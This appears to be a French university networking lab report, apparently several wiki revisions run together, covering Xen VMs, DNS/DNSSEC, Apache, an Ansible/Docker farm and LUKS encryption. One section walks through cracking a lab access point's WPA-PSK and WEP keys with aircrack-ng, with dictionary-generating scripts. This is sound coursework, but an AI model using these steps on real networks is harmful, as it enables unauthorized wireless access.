docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====Sécurisation de données====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2019-12-17T09:48:40Z

Zbriois :

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====Sécurisation de données====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup
Pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2019-12-16T21:21:29Z

Zbriois : /* Ferme de serveurs Web */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

